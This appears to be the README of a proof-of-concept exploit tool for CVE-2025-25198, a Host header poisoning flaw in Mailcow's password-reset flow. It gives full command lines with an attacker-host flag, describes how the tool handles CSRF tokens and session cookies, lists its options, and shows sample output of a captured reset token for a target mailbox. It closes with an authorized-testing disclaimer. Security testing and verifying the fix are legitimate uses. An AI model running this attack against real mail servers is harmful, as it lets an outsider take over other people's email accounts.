This repository provides a proof-of-concept to validate Host header poisoning in Mailcow (CVE-2025-25198). It spins up a local HTTPS listener, automatically handles session cookies and CSRF tokens (or accepts both manually via flag), and triggers Mailcow’s password-reset flow with a poisoned Host header. On success, it halts at the first valid reset link and prints it in a consistent format-rewritten to the target’s base URL so you can click it directly.
- Spins up an HTTPS listener (self-signed) on port 443.
- Creates a fresh HTTP client with a persistent cookie jar.
- Obtains a valid CSRF token just-in-time.
- Triggers the password reset with a poisoned
Host. - Extracts the reset link, or waits for a click.
- Stops at the first success and prints a clean, readable banner.
# Runtime
- Python 3.8+ # 3.10+ recommended
# Python packages
# Option A (HTTP/2, recommended):
pip install httpx
# Option B (HTTP/1.1 fallback):
pip install requests
# System requirements
- OpenSSL in PATH (auto-generates 'server.pem' / 'server.key')
- Ability to bind privileged port 443 (requires sudo/root on Unix-like systems)
- Firewall/NAT/VPN must allow inbound TCP on port 443 to your machineValues wrapped in angle brackets are placeholders. Replace them with your own values and do NOT include the < or > characters.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <URL> \
--username <USER> \
--attacker-host <IP> \
--http2<URL> # Target Mailcow base URL (scheme + host [+ optional :port]).
# This should be the root of the Mailcow UI; no trailing slash required.
# Self-signed certs are fine; add --verify-tls if you need strict TLS.
<USER> # Target mailbox identifier used by Mailcow’s reset form.
# Typically the full email address.
<IP> # Your attacker host/IP or DNS name where the vulnerable server will point
# the reset link (the script’s HTTPS listener must be reachable here).
# If you use a DNS name, ensure it resolves to your box from the target.
# Notes:
# - --listen-host 0.0.0.0 binds on all interfaces. Use a specific local IP if desired.
# - Ensure firewall/NAT/VPN allows inbound TCP on port 443 to your machine.
# - Port is fixed to 443 and requires sudo/root on Unix-like systems.sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username michael@cows.com \
--attacker-host 10.10.13.12 \
--http2On success, you’ll see something like:
[2025-10-18T01:38:49Z] [HIT] GET /reset-password?token=AAAAAA-BBBBBB-CCCCCC-DDDDDD-EEEEEE ← mail.cows.com [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAAAA-BBBBBB-CCCCCC-DDDDDD-EEEEEE ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
Success: reset link obtained. Exiting.Here is a quick demo of how to use it:
--interval <seconds>
Seconds between attempts and the wait window for a captured click. Default: 8
--max-attempts <N>
Maximum number of attempts before exiting; 0 means infinite. Default: 0
--cookie '<pairs>'
Seed the client cookie jar with one or more cookie pairs.
Useful if you already have a valid session (e.g., PHPSESSID=...).
Example: --cookie 'PHPSESSID=abcdef123456; another=foo'
--csrf '<TOKEN>'
Provide a CSRF token manually. If omitted, the tool auto-discovers it
(HTML/meta/JS/Set-Cookie parsing + preflight POST fallback with a single retry on error).
--only-final
Suppress progress logs and print only the final success banner when a valid link is found.This PoC is intended for authorized security testing and developer verification of the fix/workarounds. Do not use it without explicit permission on the target system.